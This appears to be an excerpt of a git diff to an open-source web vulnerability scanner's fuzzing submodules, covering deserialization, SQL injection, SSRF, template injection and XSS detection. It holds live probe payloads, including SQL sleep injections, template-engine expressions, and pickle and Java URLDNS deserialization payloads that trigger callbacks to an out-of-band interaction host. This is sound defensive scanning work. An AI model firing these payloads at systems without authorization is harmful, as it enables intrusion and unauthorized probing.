                 status_code = getattr(response, "status_code", 0)
                 if status_code == 0:
                     continue
 
                 if diff_reasons == ["header"]:
-                    self.debug(f"Only header diffs found for {type}, skipping")
+                    self.debug(f"Only header diffs found for {payload_type}, skipping")
                     continue
 
                 if status_code not in (200, 500):
                     self.debug(f"Status code {status_code} not in (200, 500), skipping")
                     continue
 
-                # if the status code changed to 200, and the response doesn't match our general error exclusions, we have a finding
-                self.debug(f"Potential finding detected for {type}, needs confirmation")
+                baseline_status = payload_baseline.baseline.status_code
+                # Skip Error Resolution if baseline uses a non-standard HTTP status code (>511).
+                # Non-standard codes (e.g. 512 from GlobalProtect) are application-specific
+                # and don't reliably indicate an error state that deserialization could "resolve".
+                if baseline_status > 511:
+                    self.debug(
+                        f"Baseline status {baseline_status} is non-standard (>511), skipping Error Resolution for {payload_type}"
+                    )
+                    continue
+
+                # Skip inherently unstable baselines: 429 (rate limit) and 403 (often WAF challenge pages)
+                # flip between error and success unpredictably, producing false positives.
+                if baseline_status in (403, 429):
+                    self.debug(
+                        f"Baseline status {baseline_status} is transient (WAF/rate-limit), "
+                        f"skipping Error Resolution for {payload_type}"
+                    )
+                    continue
+
+                general_error_matches = await self.lightfuzz.helpers.yara.match(
+                    self.general_error_yara_rules, response.text
+                )
                 if (
                     status_code == 200
                     and "code" in diff_reasons
-                    and not any(
-                        error in response.text for error in general_errors
-                    )  # ensure the 200 is not actually an error
+                    and not general_error_matches  # ensure the 200 is not actually an error
                 ):
+                    # Confirm the baseline error state is stable by re-sending the control payload.
+                    # If the control also returns 200 now, the original error was transient.
+                    confirmation_status = await self.confirm_baseline(control_payload, cookies)
+                    if confirmation_status == 200:
+                        self.debug(
+                            f"Baseline confirmation returned 200 for {payload_type}, original error was transient, skipping"
+                        )
+                        continue
 
                     def get_title(text):
                         soup = self.lightfuzz.helpers.beautifulsoup(text, "html.parser")
@@ -165,25 +326,99 @@ def get_title(text):
 
                     self.results.append(
                         {
-                            "type": "FINDING",
-                            "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{type}]",
+                            "name": "Possible Unsafe Deserialization",
+                            "severity": "HIGH",
+                            "confidence": "LOW",
+                            "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]",
+                            "_technique": "error_resolution",
+                            "_language": self.payload_language(payload_type),
                         }
                     )
                 # if the first case doesn't match, we check for a telltale error string like "java.io.optionaldataexception" in the response.
                 # but only if the response is a 500, or a 200 with a body diff
                 elif status_code == 500 or (status_code == 200 and diff_reasons == ["body"]):
-                    self.debug(f"500 status code or body match for {type}")
                     for serialization_error in serialization_errors:
                         # check for the error string, but also ensure the error string isn't just always present in the response
                         if (
                             serialization_error in response.text.lower()
                             and serialization_error not in payload_baseline.baseline.text.lower()
                         ):
-                            self.debug(f"Error string '{serialization_error}' found in response for {type}")
+                            self.debug(f"Error string '{serialization_error}' found in response for {payload_type}")
                             self.results.append(
                                 {
-                                    "type": "FINDING",
-                                    "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]",
+                                    "name": "Possible Unsafe Deserialization",
+                                    "severity": "HIGH",
+                                    "confidence": "LOW",
+                                    "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{payload_type}]",
                                 }
                             )
                             break
+
+        # Final safety net: if Error Resolution findings span multiple language families, discard them.
+        # A real deserialization vuln only deserializes one language's format.
+        error_resolution_results = [r for r in self.results if r.get("_technique") == "error_resolution"]
+        if error_resolution_results:
+            languages = set(r["_language"] for r in error_resolution_results)
+            if len(languages) > 1:
+                self.debug(
+                    f"Error Resolution findings span multiple language families ({languages}), discarding as false positives"
+                )
+                self.results = [r for r in self.results if r.get("_technique") != "error_resolution"]
+
+        # Clean up internal metadata keys before results are emitted
+        for r in self.results:
+            r.pop("_technique", None)
+            r.pop("_language", None)
+
+        # Blind RCE via language-native OOB payloads. Both pickle (Python)
+        # and URLDNS (Java) are built at scan time with a fresh interactsh
+        # subdomain — no out-of-process tooling required. Each uses its
+        # own subdomain tag so the interactsh callback unambiguously
+        # identifies which payload triggered.
+        if self.lightfuzz.interactsh_instance:
+            self.lightfuzz.event_dict[self.event.url] = self.event
+
+            # Python pickle OOB
+            _, pkl_host = self.register_interactsh_tag(
+                name="Unsafe Deserialization",
+                description=(
+                    f"Python pickle OOB RCE (OOB Interaction) Type: [{self.event.data['type']}] "
+                    f"Parameter Name: [{self.event.data['name']}] Payload: [python_pickle_oob]"
+                ),
+                severity="CRITICAL",
+                confidence="CONFIRMED",
+            )
+            try:
+                pkl_b64 = base64.b64encode(pickle.dumps(_PickleOOB(pkl_host))).decode()
+            except Exception as e:
+                self.debug(f"failed to build pickle OOB payload: {e}")
+            else:
+                await self.standard_probe(
+                    self.event.data["type"],
+                    cookies,
+                    pkl_b64,
+                    timeout=15,
+                )
+
+            # Java URLDNS OOB — fires on ANY Java deserialization sink;
+            # requires only java.util.HashMap + java.net.URL (stdlib).
+            _, java_host = self.register_interactsh_tag(
+                name="Unsafe Deserialization",
+                description=(
+                    f"Java URLDNS OOB (OOB Interaction) Type: [{self.event.data['type']}] "
+                    f"Parameter Name: [{self.event.data['name']}] Payload: [java_urldns_oob]"
+                ),
+                severity="CRITICAL",
+                confidence="CONFIRMED",
+            )
+            try:
+                java_b64 = base64.b64encode(_build_java_urldns_payload(java_host)).decode()
+            except Exception as e:
+                self.debug(f"failed to build Java URLDNS OOB payload: {e}")
+            else:
+                await self.standard_probe(
+                    self.event.data["type"],
+                    cookies,
+                    java_b64,
+                    timeout=15,
+                )
diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py
index a2adfd2222..545d54a494 100644
--- a/bbot/modules/lightfuzz/submodules/sqli.py
+++ b/bbot/modules/lightfuzz/submodules/sqli.py
@@ -1,8 +1,6 @@
 from .base import BaseLightfuzz
 from bbot.errors import HttpCompareError
 
-import statistics
-
 
 class sqli(BaseLightfuzz):
     """
@@ -23,8 +21,13 @@ class sqli(BaseLightfuzz):
 
     friendly_name = "SQL Injection"
 
-    expected_delay = 5
-    # These are common error strings that strongly indicate SQL injection
+    delay_low = 3
+    delay_high = 8
+    delay_margin = 1.5
+    delay_scale_margin = 1.75
+    delay_stage1_reps = 3
+    delay_stage2_reps = 3
+
     sqli_error_strings = [
         "Unterminated string literal",
         "Failed to parse string literal",
@@ -38,36 +41,79 @@ class sqli(BaseLightfuzz):
         "string not properly terminated",
     ]
 
-    def evaluate_delay(self, mean_baseline, measured_delay):
+    DELAY_PROBE_TEMPLATES = [
+        "'||pg_sleep({d})--",
+        "' OR (SELECT TRUE FROM pg_sleep({d})) LIMIT 1-- -",
+        "1' AND (SLEEP({d})) AND '",
+        "' OR SLEEP({d}) IS NOT NULL LIMIT 1-- -",
+        " OR SLEEP({d}) IS NOT NULL LIMIT 1-- -",
+        "' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({d})=0) AND '1'='1",
+        "'; WAITFOR DELAY '00:00:{d:02d}'--",
+        "; WAITFOR DELAY '00:00:{d:02d}'--",
+    ]
+
+    async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2):
+        """Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps.
+
+        Each round creates a new HttpCompare (fresh baseline pair) and re-runs both probes.
+        Returns True only if every round produces the same (baseline, sq, dq) status codes
+        as the initial detection and the baseline status code is stable across all rounds.
         """
-        Evaluates if a measured delay falls within an expected range, indicating potential SQL injection.
+        for i in range(rounds):
+            try:
+                fresh_compare = self.compare_baseline(
+                    self.event.data["type"],
+                    probe_value,
+                    cookies,
+                    additional_params_populate_empty=True,
+                    emit_http_response=False,
+                )
+                sq = await self.compare_probe(
+                    fresh_compare,
+                    self.event.data["type"],
+                    f"{probe_value}'",
+                    cookies,
+                    additional_params_populate_empty=True,
+                )
+                dq = await self.compare_probe(
+                    fresh_compare,
+                    self.event.data["type"],
+                    f"{probe_value}''",
+                    cookies,
+                    additional_params_populate_empty=True,
+                )
+            except HttpCompareError as e:
+                self.debug(f"Confirmation round {i + 1} baseline unstable: {e}")
+                return False
 
-        Parameters:
-        - mean_baseline (float): The average baseline delay measured from non-injected requests.
-        - measured_delay (float): The delay measured from a potentially injected request.
+            if not sq[3] or not dq[3]:
+                self.debug(f"Confirmation round {i + 1} failed to get responses")
+                return False
 
-        Returns:
-        - bool: True if the measured delay is within the expected range or exactly twice the expected delay, otherwise False.
+            round_status_codes = (
+                fresh_compare.baseline.status_code,
+                sq[3].status_code,
+                dq[3].status_code,
+            )
 
-        The function checks if the measured delay is within a margin of the expected delay or twice the expected delay,
-        accounting for cases where the injected statement might be executed twice.
-        """
-        margin = 1.5
-        if (
-            mean_baseline + self.expected_delay - margin
-            <= measured_delay
-            <= mean_baseline + self.expected_delay + margin
-        ):
-            return True
-        # check for exactly twice the delay, in case the statement gets placed in the query twice (a common occurrence)
-        elif (
-            mean_baseline + (self.expected_delay * 2) - margin
-            <= measured_delay
-            <= mean_baseline + (self.expected_delay * 2) + margin
-        ):
-            return True
-        else:
-            return False
+            # Baseline must be stable across rounds
+            if round_status_codes[0] != initial_status_codes[0]:
+                self.debug(
+                    f"Confirmation round {i + 1} baseline status code changed "
+                    f"({initial_status_codes[0]} -> {round_status_codes[0]}), discarding as flappy"
+                )
+                return False
+
+            if round_status_codes != initial_status_codes:
+                self.debug(
+                    f"Confirmation round {i + 1} status codes changed: "
+                    f"expected {initial_status_codes}, got {round_status_codes}"
+                )
+                return False
+
+            self.debug(f"Confirmation round {i + 1} passed: {round_status_codes}")
+
+        return True
 
     async def fuzz(self):
         cookies = self.event.data.get("assigned_cookies", {})
@@ -99,7 +145,9 @@ async def fuzz(self):
                     if sqli_error_string.lower() in single_quote[3].text.lower():
                         self.results.append(
                             {
-                                "type": "FINDING",
+                                "name": "Possible SQL Injection",
+                                "severity": "HIGH",
+                                "confidence": "MEDIUM",
                                 "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [SQL Error Detection] Detected String: [{sqli_error_string}]",
                             }
                         )
@@ -117,25 +165,42 @@ async def fuzz(self):
                     if "code" in single_quote[1] and (
                         single_quote[3].status_code != double_single_quote[3].status_code
                     ):
-                        self.results.append(
-                            {
-                                "type": "FINDING",
-                                "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]",
-                            }
-                        )
+                        # Check if the status code change is due to a WAF, not SQL injection
+                        is_waf = False
+                        if single_quote[3].status_code == 403:
+                            waf_matches = await self.lightfuzz.helpers.yara.match(
+                                self.lightfuzz.waf_yara_rules, single_quote[3].text
+                            )
+                            if waf_matches:
+                                self.debug(
+                                    "Single quote probe returned 403 with WAF signature, "
+                                    "suppressing SQL injection finding"
+                                )
+                                is_waf = True
+                        if not is_waf:
+                            # Confirmation loop: require 2 additional rounds with fresh baselines
+                            # to confirm the status-code triplet is stable and not a transient CDN/server flap.
+                            # TODO: apply this same confirmation pattern to other submodules that use compare_probe-based detection.
+                            initial_status_codes = (
+                                http_compare.baseline.status_code,
+                                single_quote[3].status_code,
+                                double_single_quote[3].status_code,
+                            )
+                            confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes)
+                            if confirmed:
+                                self.results.append(
+                                    {
+                                        "name": "Possible SQL Injection",
+                                        "severity": "HIGH",
+                                        "confidence": "MEDIUM",
+                                        "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]",
+                                    }
+                                )
             else:
                 self.debug("Failed to get responses for both single_quote and double_single_quote")
         except HttpCompareError as e:
             self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}")
 
-        # These are common SQL injection payloads for inducing an intentional delay across several different SQL database types
-        standard_probe_strings = [
-            f"'||pg_sleep({str(self.expected_delay)})--",  # postgres
-            f"1' AND (SLEEP({str(self.expected_delay)})) AND '",  # mysql
-            f"' AND (SELECT FROM DBMS_LOCK.SLEEP({str(self.expected_delay)})) AND '1'='1"  # oracle (not tested)
-            f"; WAITFOR DELAY '00:00:{str(self.expected_delay)}'--",  # mssql (not tested)
-        ]
-
         baseline_1 = await self.standard_probe(
             self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True
         )
@@ -143,46 +208,112 @@ async def fuzz(self):
             self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True
         )
 
-        # get a baseline from two different probes. We will average them to establish a mean baseline
         if baseline_1 and baseline_2:
             baseline_1_delay = baseline_1.elapsed.total_seconds()
             baseline_2_delay = baseline_2.elapsed.total_seconds()
-            mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay])
+            base_floor = min(baseline_1_delay, baseline_2_delay)
+
+            junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}"
+            junk_response = await self.standard_probe(
+                self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True
+            )
+            if junk_response:
+                junk_delta = junk_response.elapsed.total_seconds() - base_floor
+                if any(abs(junk_delta - k * self.delay_low) <= self.delay_margin for k in (1, 2)):
+                    self.debug("Junk control probe matched delay window, aborting time-based tests")
+                    return
 
-            for p in standard_probe_strings:
-                confirmations = 0
-                for i in range(0, 3):
-                    # send the probe 3 times, and check if the delay is within the detection threshold
+            for template in self.DELAY_PROBE_TEMPLATES:
+                # Stage 1: fast gate at delay_low
+                low_times = []
+                stage1_failed = False
+                for _ in range(self.delay_stage1_reps):
+                    payload_low = template.format(d=self.delay_low)
                     r = await self.standard_probe(
                         self.event.data["type"],
                         cookies,
-                        f"{probe_value}{p}",
+                        f"{probe_value}{payload_low}",
                         additional_params_populate_empty=True,
                         timeout=20,
                     )
                     if not r:
-                        self.debug("delay measure request failed")
+                        self.debug("Stage 1 delay probe request failed")
+                        stage1_failed = True
+                        break
+                    if r.status_code == 403:
+                        self.debug("Stage 1 probe returned 403, skipping template")
+                        stage1_failed = True
                         break
+                    low_times.append(r.elapsed.total_seconds())
 
-                    d = r.elapsed.total_seconds()
-                    self.debug(f"measured delay: {str(d)}")
-                    if self.evaluate_delay(
-                        mean_baseline, d
-                    ):  # decide if the delay is within the detection threshold and constitutes a successful sleep execution
-                        confirmations += 1
-                        self.debug(
-                            f"{self.event.data['url']}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} "
-                        )
-                    else:
+                if stage1_failed or not low_times:
+                    continue
+
+                f_low = min(low_times)
+                d_low = f_low - base_floor
+
+                k = None
+                for candidate_k in (1, 2):
+                    if abs(d_low - candidate_k * self.delay_low) <= self.delay_margin:
+                        k = candidate_k
+                        break
+
+                if k is None:
+                    self.debug(f"Stage 1 rejected: d_low={d_low:.2f}s does not match delay_low={self.delay_low}s")
+                    continue
+
+                self.verbose(f"Stage 1 passed {self.event.url}: d_low={d_low:.2f}s, k={k}, proceeding to Stage 2")
+
+                # Stage 2: scaling confirmation at delay_high
+                high_times = []
+                stage2_failed = False
+                for _ in range(self.delay_stage2_reps):
+                    payload_high = template.format(d=self.delay_high)
+                    r = await self.standard_probe(
+                        self.event.data["type"],
+                        cookies,
+                        f"{probe_value}{payload_high}",
+                        additional_params_populate_empty=True,
+                        timeout=30,
+                    )
+                    if not r:
+                        self.debug("Stage 2 delay probe request failed")
+                        stage2_failed = True
+                        break
+                    if r.status_code == 403:
+                        self.debug("Stage 2 probe returned 403, skipping template")
+                        stage2_failed = True
                         break
+                    high_times.append(r.elapsed.total_seconds())
 
-                if confirmations == 3:
+                if stage2_failed or not high_times:
+                    continue
+
+                f_high = min(high_times)
+                d_high = f_high - base_floor
+
+                absolute_ok = abs(d_high - k * self.delay_high) <= self.delay_margin
+                scaling_ok = abs((f_high - f_low) - k * (self.delay_high - self.delay_low)) <= self.delay_scale_margin
+
+                if absolute_ok and scaling_ok:
                     self.results.append(
                         {
-                            "type": "FINDING",
-                            "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]",
+                            "name": "Possible Blind SQL Injection",
+                            "severity": "HIGH",
+                            "confidence": "MEDIUM",
+                            "description": (
+                                f"Possible Blind SQL Injection. {self.metadata()} "
+                                f"Detection Method: [Delay Probe "
+                                f"(k={k}, {self.delay_low}s->{d_low:.1f}s, {self.delay_high}s->{d_high:.1f}s)] "
+                                f"Payload: [{payload_high}]"
+                            ),
                         }
                     )
+                else:
+                    self.verbose(
+                        f"Stage 2 rejected {self.event.url}: d_high={d_high:.2f}s, "
+                        f"absolute_ok={absolute_ok}, scaling_ok={scaling_ok}"
+                    )
 
         else:
             self.debug("Could not get baseline for time-delay tests")
diff --git a/bbot/modules/lightfuzz/submodules/ssrf.py b/bbot/modules/lightfuzz/submodules/ssrf.py
new file mode 100644
index 0000000000..498ab4b844
--- /dev/null
+++ b/bbot/modules/lightfuzz/submodules/ssrf.py
@@ -0,0 +1,42 @@
+from .base import BaseLightfuzz
+
+
+class ssrf(BaseLightfuzz):
+    """
+    Detects Server-Side Request Forgery (SSRF) vulnerabilities.
+
+    Techniques:
+
+    * OOB (Out-of-Band) Detection:
+       - Injects URLs pointing to an Interactsh server as parameter values
+       - Tries multiple URL schemes (http://, https://)
+       - Detects SSRF through DNS/HTTP interaction callbacks via Interactsh
+    """
+
+    friendly_name = "Server-Side Request Forgery"
+    uses_interactsh = True
+
+    async def fuzz(self):
+        if not self.lightfuzz.interactsh_instance:
+            return
+
+        cookies = self.event.data.get("assigned_cookies", {})
+        # Try with explicit schemes and bare domain (for cases where the server prepends the scheme)
+        prefixes = ["http://", "https://", ""]
+
+        for prefix in prefixes:
+            probe_label = prefix if prefix else "no scheme"
+            _, host = self.register_interactsh_tag(
+                name="Server-Side Request Forgery",
+                description=f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]",
+                severity="HIGH",
+                confidence="CONFIRMED",
+                severity_dns="HIGH",
+                confidence_dns="MEDIUM",
+            )
+            await self.standard_probe(
+                self.event.data["type"],
+                cookies,
+                f"{prefix}{host}",
+                timeout=15,
+            )
diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py
index 544b10b103..707b651f8b 100644
--- a/bbot/modules/lightfuzz/submodules/ssti.py
+++ b/bbot/modules/lightfuzz/submodules/ssti.py
@@ -9,30 +9,63 @@ class ssti(BaseLightfuzz):
 
     * Arithmetic Evaluation:
        - Injects encoded and unencoded multiplication expressions to detect evaluation
+       - Covers ERB/JSP, EL/Freemarker/Mako, Jinja2/Twig (both the
+         direct `{{1337*1337}}` form and the `1,787{{z}},569` comma-
+         collapse trick for engines that render `{{undefined}}` as ""),
+         and Smarty (single-brace)
+       - Baseline-gated: suppresses findings when the canary product
+         already appears in the unaltered response, which eliminates the
+         rare coincidental-number false positive
     """
 
     friendly_name = "Server-side Template Injection"
 
     async def fuzz(self):
         cookies = self.event.data.get("assigned_cookies", {})
-        # These are common SSTI payloads, each attempting to trigger an integer multiplication which would produce an expected value
+
+        # Baseline: the current response without any template syntax in the
+        # value. If the detection canary (`1787569` or `1,787,569`) already
+        # appears here, later matches are ambiguous and we should not flag.
+        probe_value = self.incoming_probe_value(populate_empty=True)
+        baseline = await self.standard_probe(
+            self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True
+        )
+        if baseline is None:
+            self.debug("baseline request failed, aborting ssti detection")
+            return
+        baseline_text = baseline.text
+        if "1787569" in baseline_text or "1,787,569" in baseline_text:
+            self.debug(
+                "canary value already present in baseline response; suppressing ssti detection "
+                "to avoid a coincidental-number false positive"
+            )
+            return
+
+        # Common SSTI payloads across template engines. Each attempts to
+        # trigger 1337*1337 = 1787569.
         ssti_probes = [
-            "<%25%3d%201337*1337%20%25>",
-            "<%= 1337*1337 %>",
-            "${1337*1337}",
-            "%24%7b1337*1337%7d",
-            "1,787{{z}},569",
+            "<%25%3d%201337*1337%20%25>",  # URL-encoded ERB/JSP `<%= 1337*1337 %>`
+            "<%= 1337*1337 %>",  # ERB/JSP
+            "${1337*1337}",  # EL / Freemarker / Thymeleaf / Mako
+            "%24%7b1337*1337%7d",  # URL-encoded ${1337*1337}
+            "{{1337*1337}}",  # Jinja2 / Twig / Tornado / Django-template
+            "1,787{{z}},569",  # Jinja2 comma-collapse (legacy, still useful)
+            "{1337*1337}",  # Smarty single-brace
+            # Apache Velocity uses `#set($x=A*B)$x`. The `#` must be
+            # URL-encoded to avoid being interpreted as a URL fragment.
+            "%23set(%24x%3d1337*1337)%24x",
         ]
         for probe_value in ssti_probes:
             r = await self.standard_probe(
                 self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True
             )
 
-            # look for the expected value in the response
             if r and ("1787569" in r.text or "1,787,569" in r.text):
                 self.results.append(
                     {
-                        "type": "FINDING",
+                        "name": "Possible Server-side Template Injection",
+                        "severity": "HIGH",
+                        "confidence": "HIGH",
                         "description": f"POSSIBLE Server-side Template Injection. {self.metadata()} Detection Method: [Integer Multiplication] Payload: [{probe_value}]",
                     }
                 )
diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py
index 4403e175ca..0242e96f39 100644
--- a/bbot/modules/lightfuzz/submodules/xss.py
+++ b/bbot/modules/lightfuzz/submodules/xss.py
@@ -23,40 +23,93 @@ class xss(BaseLightfuzz):
 
     friendly_name = "Cross-Site Scripting"
 
+    # Attributes the browser will navigate to or fetch from. A `javascript:`
+    # URL only becomes an XSS sink when reflected into one of these.
+    _url_bearing_attrs = (
+        "href",
+        "src",
+        "action",
+        "formaction",
+        "data",
+        "poster",
+        "background",
+        "cite",
+        "usemap",
+        "icon",
+        "manifest",
+        "longdesc",
+        "codebase",
+        "ping",
+        "archive",
+        "xlink:href",
+    )
+    # Match `<attr>=` immediately at the end of a small preceding window.
+    # Leading `[\s/]` requires a real attribute boundary so prefixes like
+    # `data-href=` or `src-foo=` don't masquerade as URL-bearing.
+    _url_attr_regex = re.compile(r"(?i)[\s/](" + "|".join(re.escape(a) for a in _url_bearing_attrs) + r")\s*=\s*$")
+
     async def determine_context(self, cookies, html, random_string):
         """
         Determines the context of the random string in the HTML response.
         With XSS, the context is what kind part of the page the injection is occuring in, which determine what payloads might be successful
 
         https://portswigger.net/web-security/cross-site-scripting/contexts
+
+        Returns (between_tags, attribute_quote, in_javascript) where
+        `attribute_quote` is '"' if the reflection is inside a double-quoted
+        attribute, "'" if single-quoted, or None if the attribute context did
+        not match. Tracking the quote character lets probes break out of the
+        specific attribute wrapper rather than guessing and risking false
+        positives from the wrong-quote character reflecting harmlessly inside.
         """
         between_tags = False
-        in_tag_attribute = False
+        attribute_quote = None
         in_javascript = False
+        in_html_comment = False
+        in_js_backtick = False
 
         between_tags_regex = re.compile(
             rf"<(\/?\w+)[^>]*>.*?{random_string}.*?<\/?\w+>"
         )  # The between tags context is when the injection occurs between HTML tags
-        in_tag_attribute_regex = re.compile(
+        double_attr_regex = re.compile(
             rf'<(\w+)\s+[^>]*?(\w+)="([^"]*?{random_string}[^"]*?)"[^>]*>'
-        )  # The in tag attribute context is when the injection occurs in an attribute of an HTML tag
+        )  # attribute context with double-quoted value
+        single_attr_regex = re.compile(
+            rf"<(\w+)\s+[^>]*?(\w+)='([^']*?{random_string}[^']*?)'[^>]*>"
+        )  # attribute context with single-quoted value
         in_javascript_regex = re.compile(
             rf"<script\b[^>]*>[^<]*(?:<(?!\/script>)[^<]*)*{random_string}[^<]*(?:<(?!\/script>)[^<]*)*<\/script>"
         )  # The in javascript context is when the injection occurs within a <script> tag
+        # HTML comment context: `<!-- ... {random} ... -->`. Breakout is
+        # closing the comment with `-->` and injecting fresh markup.
+        in_html_comment_regex = re.compile(rf"<!--(?:(?!-->).)*?{random_string}(?:(?!-->).)*?-->", re.DOTALL)
+        # JS template literal (backtick) context: reflection inside a
+        # `...${x}...` style string. Exploitable via `${}` interpolation.
+        in_js_backtick_regex = re.compile(
+            rf"<script\b[^>]*>[^<]*(?:<(?!\/script>)[^<]*)*`[^`]*{random_string}[^`]*`"
+            rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>"
+        )
 
         between_tags_match = await self.lightfuzz.helpers.re.search(between_tags_regex, html)
         if between_tags_match:
             between_tags = True
 
-        in_tag_attribute_match = await self.lightfuzz.helpers.re.search(in_tag_attribute_regex, html)
-        if in_tag_attribute_match:
-            in_tag_attribute = True
+        if await self.lightfuzz.helpers.re.search(double_attr_regex, html):
+            attribute_quote = '"'
+        elif await self.lightfuzz.helpers.re.search(single_attr_regex, html):
+            attribute_quote = "'"
 
         in_javascript_match = await self.lightfuzz.helpers.re.search(in_javascript_regex, html)
         if in_javascript_match:
             in_javascript = True
 
-        return between_tags, in_tag_attribute, in_javascript
+        if await self.lightfuzz.helpers.re.search(in_html_comment_regex, html):
+            in_html_comment = True
+
+        if await self.lightfuzz.helpers.re.search(in_js_backtick_regex, html):
+            in_js_backtick = True
+
+        return between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick
 
     async def determine_javascript_quote_context(self, target, text):
         # Define and compile regex patterns for double and single quotes
@@ -84,18 +137,104 @@ def is_balanced(section, target_index, quote_char):
         # If we have no matches, the target string is most likely not within quotes
         return "outside"
 
+    def _verify_match_context(self, html, match, context):
+        """Verify the match appears in the correct HTML context, not just anywhere in the response.
+        When the same parameter is reflected in multiple contexts with different encoding,
+        a match found in the wrong context can cause false positives."""
+        if "Tag Attribute" in context:
+            # Verify match is inside a tag (between < and >), not in text content
+            pos = html.find(match)
+            while pos != -1:
+                preceding = html[:pos]
+                last_open = preceding.rfind("<")
+                last_close = preceding.rfind(">")
+                if last_open > last_close:
+                    return True
+                pos = html.find(match, pos + 1)
+            return False
+        elif "Between Tags" in context:
+            pos = html.find(match)
+            while pos != -1:
+                preceding = html[:pos]
+                last_open = preceding.rfind("<")
+                last_close = preceding.rfind(">")
+                if last_close > last_open:
+                    return True
+                pos = html.find(match, pos + 1)
+            return False
+        elif "In Javascript" in context:
+            in_js_regex = re.compile(
+                rf"<script\b[^>]*>[^<]*(?:<(?!\/script>)[^<]*)*{re.escape(match)}"
+                rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>"
+            )
+            return bool(in_js_regex.search(html))
+        elif "URL-scheme Injection" in context:
+            # The match key starts with the wrapping quote (`"javascript:RAND`
+            # or `'javascript:RAND`). The attribute name and `=` live in the
+            # bytes immediately preceding that quote. Only fire if at least
+            # one occurrence is in a URL-bearing attribute — otherwise a
+            # `<input value="javascript:...">` reflection (HTML-encoded, no
+            # exploitation path) would false-positive.
+            pos = html.find(match)
+            while pos != -1:
+                preceding = html[max(0, pos - 64) : pos]
+                if self._url_attr_regex.search(preceding):
+                    return True
+                pos = html.find(match, pos + 1)
+            return False
+        elif "HTML Comment" in context:
+            # Match begins inside an unclosed `<!--` (the `-->` that closes
+            # the comment is INSIDE the match itself — that's the breakout).
+            # Rules out a reflection of the same bytes elsewhere on the page
+            # that didn't actually break out of any comment.
+            pos = html.find(match)
+            while pos != -1:
+                preceding = html[:pos]
+                if preceding.rfind("<!--") > preceding.rfind("-->"):
+                    return True
+                pos = html.find(match, pos + 1)
+            return False
+        elif "JS Template Literal" in context:
+            # Match must land inside a `<script>` block AND inside a
+            # backtick-delimited span (odd # of backticks since the last
+            # script open, plus a closing backtick after the match). All
+            # scans are bounded to slices of `html`; no regex over the body.
+            pos = html.find(match)
+            while pos != -1:
+                preceding = html[:pos]
+                last_script_open = preceding.rfind("<script")
+                last_script_close = preceding.rfind("</script>")
+                if last_script_open > last_script_close:
+                    script_prefix = preceding[last_script_open:]
+                    if script_prefix.count("`") % 2 == 1 and "`" in html[pos + len(match) :]:
+                        return True
+                pos = html.find(match, pos + 1)
+            return False
+        return True
+
     async def check_probe(self, cookies, probe, match, context):
         # Send the defined probe and look for the expected match value in the response
         probe_result = await self.standard_probe(self.event.data["type"], cookies, probe)
-        if probe_result and match in probe_result.text:
-            self.results.append(
-                {
-                    "type": "FINDING",
-                    "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}",
-                }
+        if not probe_result or match not in probe_result.text:
+            return False
+
+        if not self._verify_match_context(probe_result.text, match, context):
+            self.debug(
+                f"Probe match found in response but not in the expected context [{context}]. "
+                f"Likely reflected in a different context with different encoding. Suppressing."
             )
-            return True
-        return False
+            return False
+
+        self.results.append(
+            {
+                "name": "Possible Reflected XSS",
+                "severity": "MEDIUM",
+                "confidence": "MEDIUM",
+                "type": "FINDING",
+                "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}",
+            }
+        )
+        return True
 
     async def fuzz(self):
         lightfuzz_event = self.event.parent
@@ -121,11 +260,12 @@ async def fuzz(self):
         if not reflection or reflection is False:
             return
 
-        between_tags, in_tag_attribute, in_javascript = await self.determine_context(
+        between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick = await self.determine_context(
             cookies, reflection_probe_result.text, random_string
         )
         self.debug(
-            f"determine_context returned: between_tags [{between_tags}], in_tag_attribute [{in_tag_attribute}], in_javascript [{in_javascript}]"
